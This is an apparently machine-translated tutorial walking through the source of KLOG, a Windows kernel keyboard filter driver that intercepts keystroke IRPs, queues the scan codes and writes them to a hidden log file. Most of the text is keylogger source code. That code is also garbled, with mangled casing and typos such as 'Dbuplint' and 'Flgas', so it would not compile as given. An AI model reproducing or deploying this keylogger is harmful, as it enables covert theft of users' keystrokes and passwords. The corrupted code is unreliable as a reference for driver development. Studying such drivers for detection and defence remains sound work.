The routine called to process the Read Request is dispatchread. The function is analyzed as follows:
Ntstaus dispatchread (in pdevice_object pdeviceobject, in pirppirp)
{
This function is called when a Read Request reaches the keyboard controller. At this time, IRP does not have available data. Instead, we want to view the IRP after capturing the key-down action-when the IRP is being transferred up the device chain.
The only notification method that IRP has been completed is the setup completion routine. If no completion routine is set, our existence will be ignored when IRP returns along the device chain.
When passing IRP to the underlying device in the chain, you need to set the IRP Stack pointer (Stack pointer ). the term stack is prone to misunderstanding here: Each device only has a private available memory in Each IRP. These private regions are arranged in the specified order. Call iogetcurrentirpstacklocation and iogetnextirpstacklocation to obtain pointers to these private regions. Before passing an IRP, a "current" pointer must point to the private region of the underlying driver. Therefore, call iocopycurrentirpstacklocationtonext before calling iocalldriver;
// Copy parameters down to next level in the stack
// For the driver below us
Iocopycurrentirpstacklocationtonext (pirp );
// Note that the completion routine is named "onreadcompleion ":
// Set the completion callback
Iosetcompletionroutine (pirp,
Onreadcompletion,
Pdeviceobject,
True,
True,
True );
Record the number of pending IRPs so that the driver can be uninstalled after processing is complete.
// Track the # of pending IRPs
Numpendingirps ++;
Finally, use iocalldriver to pass the IRP to the secondary underlying device in the chain. Remember to store the pointer pointing to a low-level device in the pkeyboarddevice of device_extension.
// Pass the IRP on down to \ The driver underneath us
Return iocalldriver (
(PDEVICE_EXTENSION) pDeviceObject-> DeviceExtension)
-> PKeyboardDevice, pIrp );
} // End DispatchRead
Now we can see that each READIRP can be used in the OnReadCompletion routine after processing. Further comparison and analysis:
NSTATUS OnReadCompletion (IN PDEVICE_OBJECT pDeviceObject,
Ingp pIrp, in pvoid Context)
{
// Get the device extension-we'll need to use it later
PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDeviceObject-> DeviceExtension;
Check the IRP status. It can be used as a return code or error code. The value of STATUS_SUCCESS indicates that the IRP has been successfully completed and the data should be record. The SystemBuffer Member points to the array of the KEYBOARD_INPUT_DATA structure. IoStatus. Information contains the length of the array:
If (pIrp-> IoStatus. Status = STATUS_SUCCESS)
{
Pkeyboard_input_data keys = (pkeyborad_input_data) pir-> associatedirp. systembuffer;
Int numkeys = pirp-> iostatus. Information/sizeof (keyboard_input_data );
The keyboard_input_data structure is defined as follows:
Typedef struct _ keyboard_input_data {
Ushort unitid;
Ushort makecode;
Ushort flags;
Ushort reserved;
Ulong extrainformation;
} Keyboard_input_data, * pkeyboard_input_data;
The sample program then cyclically traverses all the array members and obtains the key action from each member:
For (INT I = 0; I <numkeys; I ++)
{
Dbuplint ("scancode: % x \ n", keys [I]. makecode );
Note that you will receive two events: press the key and release the key. Key_make is an important identifier for a simple key-hit monitor that only needs to focus on one of the events.
If (Keys [I]. Flags = key_make)
Dbuplint ("% s \ n", "Key down") L
The preceding completion routine is executed at the IRQL level DISPATCH_LEVEL, which means that it does not allow file operations. To avoid this restriction, the example program uses a shared linked list to pass the key-hitting action to the worker thread. Access to the linked list must use key segments for synchronization. The kernel implements the following rules: Only one thread can execute a key segment at a time. The Call Delay Process (Deferred Procedure Call, DPC) cannot be used here, So DPC also runs at the DISPATCH_LEVEL level.
The driver allocates some NonPagedPool memory, places the scan code in it, and places it in the linked list. Because it runs at the DISPATCH level, the memory can only be allocated from the NonPagedPool.
KEY_DATA * kData = (KEY_DATA *) ExAllocatePool (NonPagedPool, sizeof (KEY_DATA ));
// Fill in kData structure with info from IRP
KData-> KeyData = (char) keys [I]. MakeCode;
KData-> KeyFlags = (char) keys [I]. Flgas;
// Add the scan code to the linked list
// Queue so our worker thread
// Can write it out to a file
Dbuplint ("Adding IRP to work queue ...");
ExInterlockedInsertTailList (& pKeyboardDeviceExtension-> QueueListHead, & kData-> ListEntry,
& PKeyboardDeviceExtension-> lockQueue );
// The semaphore is incremented to indicate that some data needs tobe processed
// Increment the semaphore by 1-no WaitForXXX after this call
KeReleaseSemaphore (& pKeyboradDeviceExtension-> semQueue,
0,
1,
FALSE );
}
}
If (pIrp-> PendingReturned)
IoMarkIrpPending (pIrp );
The example completes processing the IRP, And the IRP count is decreased.
NumPendingIrps --;
Return pIrp-> IoStatus. Status;
}
At this time, a key-hitting action has been saved in the linked list. It is used for the worker thread. The following describes the routine of the worker thread:
VOID ThreadKeyLogger (in pvoid pContext)
{
PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION) pContext;
PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension-> pKeyboardDevice;
PLIST_ENTRY pListEntry;
KEY_DATA * kData; // custom data structure used to hold scancodes inthe linked list
KLOG enters a processing cycle. The Code waits for the semaphore through KeWaitForSingleObject. If the semaphores increase, the processing cycle continues to run.
While (true)
{
// Wait for data to becomeavailable in the queue
KeWaitForSingleObject (
& PKeyboardDeviceExtension-> semQueue,
Executive,
KernelMode,
FALSE,
NULL );
The highest-end items are safely deleted from the linked list. Note the usage of key segments:
PListEntry = ExInterlockedRemoveHeadList (
& PKeyboardDeviceExtension-> QueueListHead,
& PKeyboardDeviceEntension-> lockQueue );
Kernel threads cannot be terminated from the outside. They can only terminate themselves. KLOG checks a flag to determine whether the worker thread should be terminated. This operation should only be released when the KLOG is detached.
If (pKeyboardDeviceExtension-> bThreadTerminate = true)
{
PsTerminateSystemThread (STATUS_SUCCESS );
}
You must use the CONTAINING_RECORD macro to obtain the pointer to data in the pListEntry structure:
KData = CONTANING_RECORD (pListEntry, KEY_DATA, ListEntry );
KLOG obtains the scan code and converts it to the keyboard code. This is done through the ConvertScanCodeToKeyCode tool function, which only recognizes the American English keyboard layout, although it is easy to replace with code suitable for other keyboard la S.
// Convert the scan code to a key code
Char keys [3] = {0 };
ConvertScanCodeToKeyCode (pKeyboardDeviceExtension, kData, keys );
// Make sure the key has returned a valid code
// Before writing it to the file
If (keys! = 0)
{
If the file handle is valid, use ZwWriteFile to write the keyboard disk code to the log:
// Write the data out to a file
If (pKeyboardDeviceExtension-> hLogFile! = NULL)
{
IO_STATUS_BLOCK io_status;
Ntstatus status = zwwritefile (
Pkeyboarddeviceextension-> hlogfile,
Null,
Null,
Null,
& Io_status,
& Keys,
Strlen (keys ),
NULL,
NULL );
If (status! = STATUS_SUCCESS)
Dbuplint ("Writing scancode to file... \ N ");
Else
Dbuplint ("Scan code '% s' successfully written to file. \ n", keys );
} // End if
} // End if
} // End while
Return;
} // End threadlogkeyboard
The above are the main operations of klog. The following analyzes the unload routine
Void unload (in pdriver_object pdriverobject)
{
// Get the pointer to thedevice Extension
Pdevice_extensionpkeyboarddeviceextension = (pdevice_extension) pdriverobject-> deviceobject-> deviceextension;
Dbuplint ("driver unload called... \ N ");
The driver must use the iodetachdevice function to remove the hook of the layered device:
// Detach from the device underneath that we're hooked.
Iodetachdevice (pkeyboarddeviceextension-> pkeyboarddevice );
Dbuplint ("keyboard hook detached from device... \ N ");
A timer is used below, and klog enters a short loop until all IRPs are processed:
// Create a timer
Ktimer;
Large_integer timeout;
Timeout. quadpart = 1000000;
Keinitializetimer (& ktimer );
When an IRP is waiting for a key-down action, it cannot be completed until the next key is pressed:
While (numpendingirps> 0)
{
// Set the timer
Kesettimer (& ktimer, timeout, null );
Kewaitforsingleobject (
& Ktimer,
Executive,
Kernelmode,
False,
Null );
}
Klog indicates that the worker thread should be terminated:
// Set our key logger worker thread to terminate
Pkeyboarddeviceextension-> bthreadterminate = true;
// Wake up the thread if its blocked & WaitForXXX after thiscall
KeReleaseSemaphore (
& PKeyboardDeviceExtension-> semQueue,
0,
1,
TRUE );
KLOG uses the thread pointer to call KeWaitForSingleObject and waits until the thread is terminated:
// Wait until the worker thread terminates
Dbuplint ("Waiting for key logger thread to terminate... \ N ");
KeWaitForSingleObject (pKeyboardDeviceExtension-> pThreadObj,
Executive,
KernelMode,
False, NULL );
Dbuplint ("Key logger thread terminated \ n ");
Finally, close the log file:
// Close the log file
ZwClose (pKeyboardDeviceExtension-> hLogFile );
Also perform some appropriate general cleanup actions:
// Delete the device
IoDeleteDevice (pDriverObject-> DeviceObject );
Dbuplint ("Tagged IRPs dead... Terminating... \ n ");
Return;
}
Keyboard sniffing ends.